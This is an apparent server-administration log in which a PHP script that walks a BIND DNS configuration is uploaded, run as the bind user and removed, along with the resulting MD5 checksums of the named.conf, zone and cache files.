MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 17:35:57: Establishing a connection
2026-04-23 17:35:57: 

PUT: /tmp/pkp786527

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 17:35:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp786527; rm /tmp/pkp786527'

2026-04-23 17:35:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
